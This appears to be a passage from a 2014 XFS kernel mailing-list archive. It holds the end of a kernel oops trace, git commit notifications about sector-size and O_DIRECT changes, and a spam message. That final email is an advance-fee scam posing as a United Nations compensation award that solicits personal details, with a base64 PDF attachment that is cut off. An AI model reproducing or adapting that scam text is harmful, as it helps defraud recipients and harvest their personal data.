0000 ES: 0000 CR0: 0000000080050033 [1167966.168189] CR2: 00007fd326883160 CR3: 00000003623a0000 CR4: 000000000= 00407e0 [1167966.168190] Stack: [1167966.168196] ffff88009f2a9d38 ffffffffa072c3f0 ffff88009f2a9d38 ffff88= 009f2a9d58 [1167966.168200] ffff88070085f1c0 ffff88073d3d71c0 0000000000000000 000000= 0000000000 [1167966.168205] ffff880829c21000 0000000000000041 ffff88009f2a9d88 ffffff= ffa06d585c [1167966.168206] Call Trace: [1167966.168248] [<ffffffffa072c3f0>] xfs_log_commit_cil+0x170/0x180 [xfs] [1167966.168281] [<ffffffffa06d585c>] xfs_trans_commit+0x15c/0x2a0 [xfs] [1167966.168305] [<ffffffffa06b404b>] xfs_setfilesize+0x12b/0x130 [xfs] [1167966.168327] [<ffffffffa06b4775>] xfs_end_io+0x75/0xf0 [xfs] [1167966.168338] [<ffffffff81065d6c>] process_one_work+0x17c/0x3d0 [1167966.168343] [<ffffffff8106715b>] worker_thread+0x12b/0x410 [1167966.168349] [<ffffffff81067030>] ? manage_workers+0x1a0/0x1a0 [1167966.168356] [<ffffffff8106cbdb>] kthread+0xdb/0xf0 [1167966.168361] [<ffffffff8106cb00>] ? kthread_freezable_should_stop+0x70= /0x70 [1167966.168369] [<ffffffff814c4c3c>] ret_from_fork+0x7c/0xb0 [1167966.168374] [<ffffffff8106cb00>] ? kthread_freezable_should_stop+0x70= /0x70 [1167966.168401] Code: 00 00 00 48 89 45 c8 e8 42 fc ff ff c9 c3 55 41 89 d= 0 48 89 f1 48 89 fa 48 c7 c6 58 4e 75 a0 31 ff 48 89 e5 31 c0 e8 93 ff ff f= f <0f> 0b eb fe 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 8b [1167966.168430] RIP [<ffffffffa06cd39d>] assfail+0x1d/0x30 [xfs] [1167966.168431] RSP <ffff88009f2a9ce8> [1167966.218543] ---[ end trace c4c3ac02d344970e ]--- That machine was running xfs/109 at the time, at commit bf3964c1. -Ben=20 From bpm@oss.sgi.com Fri Jan 24 13:50:41 2014 Return-Path: <bpm@oss.sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 633137FAD; Fri, 24 Jan 2014 13:50:41 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-allow-logical-sector-sized-O_DIRECT, created. xfs-for-linus-v3.14-rc1-3-g7c71ee7 X-Git-Refname: refs/heads/xfs-allow-logical-sector-sized-O_DIRECT X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 7c71ee78031c248dca13fc94dea9a4cc217db6cf Message-Id: <20140124195041.633137FAD@oss.sgi.com> Date: Fri, 24 Jan 2014 13:50:41 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-allow-logical-sector-sized-O_DIRECT has been created at 7c71ee78031c248dca13fc94dea9a4cc217db6cf (commit) - Log ----------------------------------------------------------------- commit 7c71ee78031c248dca13fc94dea9a4cc217db6cf Author: Eric Sandeen <sandeen@sandeen.net> Date: Tue Jan 21 16:46:23 2014 -0600 xfs: allow logical-sector sized O_DIRECT Some time ago, mkfs.xfs started picking the storage physical sector size as the default filesystem "sector size" in order to avoid RMW costs incurred by doing IOs at logical sector size alignments. However, this means that for a filesystem made with i.e. a 4k sector size on an "advanced format" 4k/512 disk, 512-byte direct IOs are no longer allowed. This means that XFS has essentially turned this AF drive into a hard 4K device, from the filesystem on up. XFS's mkfs-specified "sector size" is really just controlling the minimum size & alignment of filesystem metadata. There is no real need to tightly couple XFS's minimal metadata size to the minimum allowed direct IO size; XFS can continue doing metadata in optimal sizes, but still allow smaller DIOs for apps which issue them, for whatever reason. This patch adds a new field to the xfs_buftarg, so that we now track 2 sizes: 1) The metadata sector size, which is the minimum unit and alignment of IO which will be performed by metadata operations. 2) The device logical sector size The first is used internally by the file system for metadata alignment and IOs. The second is used for the minimum allowed direct IO alignment. This has passed xfstests on filesystems made with 4k sectors, including when run under the patch I sent to ignore XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly tested end of block behavior on preallocated, sparse, and existing files when we do a 512 IO into a 4k file on a 4k-sector filesystem, to be sure there were no unexpected behaviors. Signed-off-by: Eric Sandeen <sandeen@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Reviewed-by: Dave Chinner <dchinner@redhat.com> Signed-off-by: Ben Myers <bpm@sgi.com> commit 6da54179b3f1bb6a302fd5f3b38fae32ee463ed1 Author: Eric Sandeen <sandeen@sandeen.net> Date: Tue Jan 21 16:45:52 2014 -0600 xfs: rename xfs_buftarg structure members In preparation for adding new members to the structure, give these old ones more descriptive names: bt_ssize -> bt_meta_sectorsize bt_smask -> bt_meta_sectormask Signed-off-by: Eric Sandeen <sandeen@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Reviewed-by: Dave Chinner <dchinner@redhat.com> Signed-off-by: Ben Myers <bpm@sgi.com> commit f0bc9985fe8bf4377d5557cd7957d9be43ec8861 Author: Eric Sandeen <sandeen@sandeen.net> Date: Tue Jan 21 16:44:57 2014 -0600 xfs: clean up xfs_buftarg Clean up the xfs_buftarg structure a bit: - remove bt_bsize which is never used - replace bt_sshift with bt_ssize; we only ever shift it back Signed-off-by: Eric Sandeen <sandeen@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Reviewed-by: Dave Chinner <dchinner@redhat.com> Signed-off-by: Ben Myers <bpm@sgi.com> ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Fri Jan 24 13:54:15 2014 Return-Path: <bpm@oss.sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 719677FAD; Fri, 24 Jan 2014 13:54:15 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-3-g7c71ee7 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: bf3964c188d686424ff7b69a45941851b9f437f0 X-Git-Newrev: 7c71ee78031c248dca13fc94dea9a4cc217db6cf Message-Id: <20140124195415.719677FAD@oss.sgi.com> Date: Fri, 24 Jan 2014 13:54:15 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 7c71ee7 xfs: allow logical-sector sized O_DIRECT 6da5417 xfs: rename xfs_buftarg structure members f0bc998 xfs: clean up xfs_buftarg from bf3964c188d686424ff7b69a45941851b9f437f0 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 7c71ee78031c248dca13fc94dea9a4cc217db6cf Author: Eric Sandeen <sandeen@sandeen.net> Date: Tue Jan 21 16:46:23 2014 -0600 xfs: allow logical-sector sized O_DIRECT Some time ago, mkfs.xfs started picking the storage physical sector size as the default filesystem "sector size" in order to avoid RMW costs incurred by doing IOs at logical sector size alignments. However, this means that for a filesystem made with i.e. a 4k sector size on an "advanced format" 4k/512 disk, 512-byte direct IOs are no longer allowed. This means that XFS has essentially turned this AF drive into a hard 4K device, from the filesystem on up. XFS's mkfs-specified "sector size" is really just controlling the minimum size & alignment of filesystem metadata. There is no real need to tightly couple XFS's minimal metadata size to the minimum allowed direct IO size; XFS can continue doing metadata in optimal sizes, but still allow smaller DIOs for apps which issue them, for whatever reason. This patch adds a new field to the xfs_buftarg, so that we now track 2 sizes: 1) The metadata sector size, which is the minimum unit and alignment of IO which will be performed by metadata operations. 2) The device logical sector size The first is used internally by the file system for metadata alignment and IOs. The second is used for the minimum allowed direct IO alignment. This has passed xfstests on filesystems made with 4k sectors, including when run under the patch I sent to ignore XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly tested end of block behavior on preallocated, sparse, and existing files when we do a 512 IO into a 4k file on a 4k-sector filesystem, to be sure there were no unexpected behaviors. Signed-off-by: Eric Sandeen <sandeen@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Reviewed-by: Dave Chinner <dchinner@redhat.com> Signed-off-by: Ben Myers <bpm@sgi.com> commit 6da54179b3f1bb6a302fd5f3b38fae32ee463ed1 Author: Eric Sandeen <sandeen@sandeen.net> Date: Tue Jan 21 16:45:52 2014 -0600 xfs: rename xfs_buftarg structure members In preparation for adding new members to the structure, give these old ones more descriptive names: bt_ssize -> bt_meta_sectorsize bt_smask -> bt_meta_sectormask Signed-off-by: Eric Sandeen <sandeen@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Reviewed-by: Dave Chinner <dchinner@redhat.com> Signed-off-by: Ben Myers <bpm@sgi.com> commit f0bc9985fe8bf4377d5557cd7957d9be43ec8861 Author: Eric Sandeen <sandeen@sandeen.net> Date: Tue Jan 21 16:44:57 2014 -0600 xfs: clean up xfs_buftarg Clean up the xfs_buftarg structure a bit: - remove bt_bsize which is never used - replace bt_sshift with bt_ssize; we only ever shift it back Signed-off-by: Eric Sandeen <sandeen@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Reviewed-by: Dave Chinner <dchinner@redhat.com> Signed-off-by: Ben Myers <bpm@sgi.com> ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_buf.c | 14 +++++++++----- fs/xfs/xfs_buf.h | 20 +++++++++++++++++--- fs/xfs/xfs_file.c | 7 +++++-- fs/xfs/xfs_ioctl.c | 2 +- 4 files changed, 32 insertions(+), 11 deletions(-) hooks/post-receive -- XFS development tree From info@star-project.jp Fri Jan 24 14:07:48 2014 Return-Path: <info@star-project.jp> X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 34A137FB0 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:07:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88F03304059 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 12:07:44 -0800 (PST) X-ASG-Debug-ID: 1390594059-04bdf030ebfac90001-NocioJ Received: from mt3010.secure.jp (mt3010.secure.jp [110.50.194.1]) by cuda.sgi.com with SMTP id N4E7lyXXmdCM5pWD for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 12:07:39 -0800 (PST) X-Barracuda-Envelope-From: info@star-project.jp X-Barracuda-Apparent-Source-IP: 110.50.194.1 Received: (qmail 33252 invoked from network); 25 Jan 2014 02:57:18 +0900 Received: from unknown (HELO User) (info@star-project.jp@184.22.223.140) by 0 with SMTP; 25 Jan 2014 02:57:18 +0900 Reply-To: <mrlancelotego@yahoo.co.jp> From: "UNITED NATIONS COMPENSATION" <info@star-project.jp> Subject: Date: Fri, 24 Jan 2014 12:57:28 -0500 X-ASG-Orig-Subj: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0046_01C2A9A6.142F95F2" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Barracuda-Connect: mt3010.secure.jp[110.50.194.1] X-Barracuda-Start-Time: 1390594059 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 684075ce34634086d78aa65ea83118f0-2189-htm X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 Message-Id: <20140124200743.E2780A42181@cuda.sgi.com> To: undisclosed-recipients:; This is a multi-part message in MIME format. ------=_NextPart_000_0046_01C2A9A6.142F95F2 Content-Type: text/html; charset="Windows-1251" Content-Transfer-Encoding: 7bit <HTML><HEAD><TITLE></TITLE> </HEAD> <BODY bgcolor=#FFFFFF leftmargin=5 topmargin=5 rightmargin=5 bottommargin=5> <FONT size=2 color=#000000 face="Arial"> <DIV> UNITED NATIONS.</DIV> <DIV> United Nations House, 617/618.</DIV> <DIV> Diplomatic Zone,</DIV> <DIV> Central Area District,</DIV> <DIV> Federal Capital Territory,</DIV> <DIV> Abuja, Nigeria.</DIV> <DIV> &nbsp;</DIV> <DIV> </DIV> <DIV> Our Ref: YBNGWB/UN/2014.</DIV> <DIV> &nbsp;</DIV> <DIV> </DIV> <DIV> Attention: Dear Beneficiary,</DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> <B><I>RE: APPROVED COMPENSATION PAYMENT AWARD OF US$2.3M</B></I></DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> We found your email address on our list and that is why we are contacting you, this has been agreed upon and has been signed. Therefore, we are happy to inform you that an arrangement has perfectly been concluded to effect your payment as soon as possible in our bid to be transparent.</DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> However, it is our pleasure to inform you that your ATM Card Number: 7876 3100 0300 1420 has been approved and upgraded in your favour. Meanwhile, your Secret Pin Number will be available as soon as you confirm to us the receipt of your ATM CARD.</DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> The ATM Card Value is $2,300,000.00 USD only (Two Million Three Hundred Thousand United States Dollars).</DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> You are advised that a maximum withdrawal value of US$5,000.00 (Five Thousand Dollars) is permitted daily.</DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> Please contact Mr. Lancelot Ego, Email: mrlancelotego@yahoo.co.jp</DIV> <DIV> &nbsp;</DIV> <DIV> </DIV> <DIV> Providing answer to the below information to facilitate your claims.</DIV> <DIV> </DIV> <DIV> &nbsp;</DIV> <DIV> FULL NAME:</DIV> <DIV> AGE:</DIV> <DIV> GENDER:</DIV> <DIV> ADDRESS:</DIV> <DIV> COUNTRY:</DIV> <DIV> OCCUPATION:</DIV> <DIV> MOBILE NUMBER:</DIV> <DIV> &nbsp;</DIV> <DIV> </DIV> <DIV> Best Regards,</DIV> <DIV> &nbsp;</DIV> <DIV> &nbsp;</DIV> <DIV> Mr. Samson Adekunle.</DIV> <DIV> CIV NAVSUBTORPFAC YORK.</DIV> <DIV> UNITED NATIONS / WORLD BANK ORGANIZATION.</DIV> </FONT> </BODY></HTML> ------=_NextPart_000_0046_01C2A9A6.142F95F2 Content-Type: application/octet-stream; name="UN COMPENSATION.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="UN COMPENSATION.pdf" JVBERi0xLjUNJeLjz9MNCjcgMCBvYmoNPDwvTGluZWFyaXplZCAxL0wgMTM1 MjI3L08gOS9FIDEzMTM4MS9OIDEvVCAxMzQ5MzYvSCBbIDUwNCAxNjVdPj4N ZW5kb2JqDSAgICAgICAgICAgICAgICAgDQoyNiAwIG9iag08PC9EZWNvZGVQ YXJtczw8L0NvbHVtbnMgNS9QcmVkaWN0b3IgMTI+Pi9GaWx0ZXIvRmxhdGVE ZWNvZGUvSURbPEUzNDE1NTcxN0MxNTYzNENCQUU5NkE1OUZERDg2MTZFPjww MDQxMTEyRDFERjJDQjQxQkUyNzIwQzBGODc3Q0Q1MD5dL0luZGV4WzcgMzld L0luZm8gNiAwIFIvTGVuZ3RoIDEwMi9QcmV2IDEzNDkzNy9Sb290IDggMCBS L1NpemUgNDYvVHlwZS9YUmVmL1dbMSAzIDFdPj5zdHJlYW0NCmjeYmJkYBBg YGJgYOoFkQweYHYPiGS5CCL580GksDiYvAIiRVaBSMFSMPkSRApEgcm/IDJq Cohk7ASRvCARRikdELvkHIg02Ack/7svZ2AC2jsNbCMDI83J/wyM794DBBgA hJESSQ0KZW5kc3RyZWFtDWVuZG9iag1zdGFydHhyZWYNCjANCiUlRU9GDQog ICAgICAgIA0KNDUgMCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0kgOTcv TGVuZ3RoIDg2L1MgMzg+PnN0cmVhbQ0KaN5iYGAQZGBgcmBgYGD8F8CAChiB mIWBowFZTBCKGRg6GfiZ2HgVyg01HnmmnPAoE0iQX2R76UQEA2NfW8bPRRtM e/dBtDAzMPHFQo3bAxBgAJ9IENkNCmVuZHN0cmVhbQ1lbmRvYmoNOCAwIG9i ag08PC9MYW5nKGVuLVVTKS9NZXRhZGF0YSAxIDAgUi9QYWdlcyA1IDAgUi9U eXBlL0NhdGFsb2c+Pg1lbmRvYmoNOSAwIG9iag08PC9Db250ZW50c1sxMSAw IFIgMTIgMCBSIDEzIDAgUiAxNCAwIFIgMTUgMCBSIDE2IDAgUiAxNyAwIFIg MTggMCBSXS9Dcm9wQm94WzAgMCA2MTIgNzkyXS9Hcm91cDw8L0NTL0Rldmlj ZVJHQi9TL1RyYW5zcGFyZW5jeS9UeXBlL0dyb3VwPj4vTWVkaWFCb3hbMCAw IDYxMiA3OTJdL1BhcmVudCA1IDAgUi9SZXNvdXJjZXM8PC9Gb250PDwvRjEg MjkgMCBSL0YyIDMyIDAgUi9GMyAzNSAwIFIvRjQgMzggMCBSL0Y1IDQxIDAg Ui9GNiA0NCAwIFI+Pi9Qcm9jU2V0Wy9QREYvVGV4dC9JbWFnZUIvSW1hZ2VD L0ltYWdlSV0vWE9iamVjdDw8L0ltYWdlMTEgMjEgMCBSL0ltYWdlMTMgMjMg MCBSL0ltYWdlNCAyNSAwIFI+Pj4+L1JvdGF0ZSAwL1RhYnMvUy9UeXBlL1Bh Z2U+Pg1lbmRvYmoNMTAgMCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0Zp cnN0IDEzNy9MZW5ndGggODgwL04gMTgvVHlwZS9PYmpTdG0+PnN0cmVhbQ0K aN6sll1P2zAUhv+KpV1uyN9fEqrUAtUmMS4YGpMQF1mJSrQ2RW3Y2L/fsZ04 TkkglCly4vjYPvZ5nxyHaUQQM4gxhphFQjDECVIEHhQZahFniBJlEOeIMsYR F4gKoRCXiEotEVeIahjCNaKWQz83l4BxFjFuJRIwvaIUCQpuwCicH0uQgKlg AHh0T4OOj/F0t8jLChlL8fT38rq4q+6hu8Yn2cPnvFjeV0hpjU/z0O2IUYXn q2y5gzXi+aasZrPN082RlMbbECOEuBG33niRrXN8Vazz3QdGLvI/cL/crLPy 02yzuvM9roMPTQj+UmWrYjEtl6scEXyeZ3dFuYS14K/ZU1gXAzf4W5Wvv7vm q78PuZ/DLW5bPFSbLf5Rr5lJMpncwB31X8OW55cGlZTSSc2FVmsTe7TWptXV pVTe4uoE9CR9k8u61XUWIEu9vGRyZ5FxLDegMue3oNws2+Vu+8MBPisXGxdE fF2U03JXxPd5sd1VJ/fZtlGxDSH4BjeX+Dyre1BQ3Os4p/jb48/KRf1q+5j7 8EcNsFdo56iG0ZPJEFmEpmRZ/jpZKpIFHwCMeJmsFCoxDipFRQMVOQgq0MOX FKygoNOtr7S1VOkGnAaooD3psUfwAMQhbB1Nra/AVnh3PoPfxnu7rrAP1x7J DLbXiDsMNk72YGO0ho2NgI3TfdgoJQltUrKENg2ANbQxyvpgo1Y4E6LKGNc/ sDYvVjm0Wb/UCN90dnJ6dvZxui2yFQRhtsoWv1L67DP6InLUGFojJ+UI5Bq4 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 